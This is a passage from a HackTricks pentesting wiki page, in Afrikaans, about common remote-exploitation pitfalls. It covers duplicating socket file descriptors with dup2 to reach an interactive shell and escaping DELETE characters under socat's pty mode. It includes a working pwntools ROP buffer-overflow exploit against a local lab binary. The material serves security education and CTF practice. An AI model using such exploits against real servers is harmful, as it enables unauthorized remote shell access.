mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
37 lines
1.8 KiB
Markdown
37 lines
1.8 KiB
Markdown
# Algemene Exploit Probleme
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## FD's in Afgeleë Exploitatie
|
|
|
|
Wanneer 'n exploit na 'n afgeleë bediener gestuur word wat **`system('/bin/sh')`** aanroep, sal dit in die bedienerproses uitgevoer word, en `/bin/sh` sal insette van stdin (FD: `0`) verwag en die uitvoer in stdout en stderr (FD's `1` en `2`) druk. Die aanvaller sal dus nie met die shell kan interaksie hê nie.
|
|
|
|
'n Manier om dit reg te stel, is om aan te neem dat wanneer die bediener begin het, dit die **FD nommer `3`** (vir luister) geskep het en dat jou verbinding dan in die **FD nommer `4`** gaan wees. Daarom is dit moontlik om die syscall **`dup2`** te gebruik om die stdin (FD 0) en die stdout (FD 1) in die FD 4 (die van die aanvaller se verbinding) te dupliseer, sodat dit moontlik sal wees om met die shell in kontak te tree sodra dit uitgevoer word.
|
|
|
|
[**Exploit voorbeeld van hier**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = remote('localhost', 9001)
|
|
|
|
rop = ROP(elf)
|
|
rop.raw('A' * 40)
|
|
rop.dup2(4, 0)
|
|
rop.dup2(4, 1)
|
|
rop.win()
|
|
|
|
p.sendline(rop.chain())
|
|
p.recvuntil('Thanks!\x00')
|
|
p.interactive()
|
|
```
|
|
## Socat & pty
|
|
|
|
Let daarop dat socat reeds **`stdin`** en **`stdout`** na die socket oordra. egter, die `pty` modus **sluit DELETE karakters in**. So, as jy 'n `\x7f` ( `DELETE` -) stuur, sal dit **die vorige karakter** van jou exploit **verwyder**.
|
|
|
|
Om dit te omseil, moet die **ontsnappingskarakter `\x16` voor enige `\x7f` wat gestuur word, geplaas word.**
|
|
|
|
**Hier kan jy** [**'n voorbeeld van hierdie gedrag vind**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|